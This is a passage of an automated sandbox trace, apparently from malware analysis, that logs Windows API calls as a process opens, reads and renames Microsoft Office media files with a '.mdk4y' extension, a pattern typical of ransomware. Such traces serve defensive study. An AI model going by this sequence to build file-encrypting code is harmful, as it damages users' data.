lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21481_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.697] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21481_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21481_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.698] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825892800000) returned 1 [0183.698] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xeb, lpOverlapped=0x0) returned 1 [0183.699] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825892900000) returned 1 [0183.699] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825892900000) returned 1 [0183.699] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21481_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21481_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21481_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21481_.gif.mdk4y")) returned 1 [0183.701] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.701] AreFileApisANSI () returned 1 [0183.701] GetACP () returned 0x4e4 [0183.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21482_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21482_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.701] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21482_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21482_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.702] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825893200000) returned 1 [0183.702] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xf7, lpOverlapped=0x0) returned 1 [0183.703] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825893300000) returned 1 [0183.703] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825893300000) returned 1 [0183.704] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21482_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21482_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21482_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21482_.gif.mdk4y")) returned 1 [0183.705] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.705] AreFileApisANSI () returned 1 [0183.705] GetACP () returned 0x4e4 [0183.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21503_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21503_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.705] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21503_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21503_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825893600000) returned 1 [0183.706] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xfe, lpOverlapped=0x0) returned 1 [0183.707] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825893700000) returned 1 [0183.707] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825893700000) returned 1 [0183.708] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21503_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21503_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21503_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21503_.gif.mdk4y")) returned 1 [0183.709] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.709] AreFileApisANSI () returned 1 [0183.709] GetACP () returned 0x4e4 [0183.709] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21504_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21504_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.709] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21504_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21504_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.710] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825894000000) returned 1 [0183.710] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb6, lpOverlapped=0x0) returned 1 [0183.711] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825894100000) returned 1 [0183.711] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825894100000) returned 1 [0183.711] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21504_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21504_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21504_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21504_.gif.mdk4y")) returned 1 [0183.712] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.712] AreFileApisANSI () returned 1 [0183.712] GetACP () returned 0x4e4 [0183.712] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21505_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21505_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.712] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21505_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21505_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.713] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825894300000) returned 1 [0183.713] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xaf, lpOverlapped=0x0) returned 1 [0183.714] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825894500000) returned 1 [0183.715] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825894500000) returned 1 [0183.715] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21505_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21505_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21505_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21505_.gif.mdk4y")) returned 1 [0183.716] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.716] AreFileApisANSI () returned 1 [0183.716] GetACP () returned 0x4e4 [0183.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21518_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21518_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.716] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21518_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21518_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825894700000) returned 1 [0183.717] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xff, lpOverlapped=0x0) returned 1 [0183.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825894700000) returned 1 [0183.718] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825894800000) returned 1 [0183.718] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21518_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21518_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21518_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21518_.gif.mdk4y")) returned 1 [0183.718] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.718] AreFileApisANSI () returned 1 [0183.718] GetACP () returned 0x4e4 [0183.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21519_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21519_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.718] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21519_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21519_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825894900000) returned 1 [0183.719] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb0, lpOverlapped=0x0) returned 1 [0183.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825894900000) returned 1 [0183.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825895000000) returned 1 [0183.720] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21519_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21519_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21519_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21519_.gif.mdk4y")) returned 1 [0183.720] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.720] AreFileApisANSI () returned 1 [0183.720] GetACP () returned 0x4e4 [0183.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21520_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21520_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.720] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21520_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21520_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.721] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825895100000) returned 1 [0183.721] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb0, lpOverlapped=0x0) returned 1 [0183.722] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825895200000) returned 1 [0183.722] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825895200000) returned 1 [0183.722] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21520_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21520_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21520_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21520_.gif.mdk4y")) returned 1 [0183.723] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.723] AreFileApisANSI () returned 1 [0183.723] GetACP () returned 0x4e4 [0183.723] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21533_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21533_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.723] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21533_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21533_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825895300000) returned 1 [0183.724] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x148, lpOverlapped=0x0) returned 1 [0183.724] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825895400000) returned 1 [0183.724] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825895400000) returned 1 [0183.725] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21533_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21533_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21533_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21533_.gif.mdk4y")) returned 1 [0183.725] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.725] AreFileApisANSI () returned 1 [0183.725] GetACP () returned 0x4e4 [0183.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21534_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21534_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.725] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21534_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21534_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825895600000) returned 1 [0183.726] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xf0, lpOverlapped=0x0) returned 1 [0183.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825895600000) returned 1 [0183.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825895600000) returned 1 [0183.727] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21534_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21534_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21534_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21534_.gif.mdk4y")) returned 1 [0183.727] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.727] AreFileApisANSI () returned 1 [0183.727] GetACP () returned 0x4e4 [0183.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21535_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21535_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.727] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21535_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21535_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.728] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825895800000) returned 1 [0183.728] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x12b, lpOverlapped=0x0) returned 1 [0183.729] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825895900000) returned 1 [0183.729] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825895900000) returned 1 [0183.729] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21535_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21535_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21535_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21535_.gif.mdk4y")) returned 1 [0183.729] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.729] AreFileApisANSI () returned 1 [0183.729] GetACP () returned 0x4e4 [0183.729] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BULLETS.DLL", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BULLETS.DLLF", lpUsedDefaultChar=0x37dec0) returned 11 [0183.730] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.731] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825896100000) returned 1 [0183.731] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3ba0, lpOverlapped=0x0) returned 1 [0183.740] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825897000000) returned 1 [0183.740] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825897000000) returned 1 [0183.741] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll.mdk4y")) returned 1 [0183.742] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.742] AreFileApisANSI () returned 1 [0183.742] GetACP () returned 0x4e4 [0183.742] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0115834.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0115834.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.742] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115834.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115834.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825897300000) returned 1 [0183.743] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb9, lpOverlapped=0x0) returned 1 [0183.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825897400000) returned 1 [0183.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825897400000) returned 1 [0183.744] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115834.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115834.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115834.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115834.gif.mdk4y")) returned 1 [0183.744] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.744] AreFileApisANSI () returned 1 [0183.744] GetACP () returned 0x4e4 [0183.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0115835.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0115835.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.745] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115835.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115835.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825897500000) returned 1 [0183.745] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb1, lpOverlapped=0x0) returned 1 [0183.746] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825897600000) returned 1 [0183.746] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825897600000) returned 1 [0183.746] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115835.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115835.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115835.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115835.gif.mdk4y")) returned 1 [0183.747] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.747] AreFileApisANSI () returned 1 [0183.747] GetACP () returned 0x4e4 [0183.747] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0115836.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0115836.GIF", 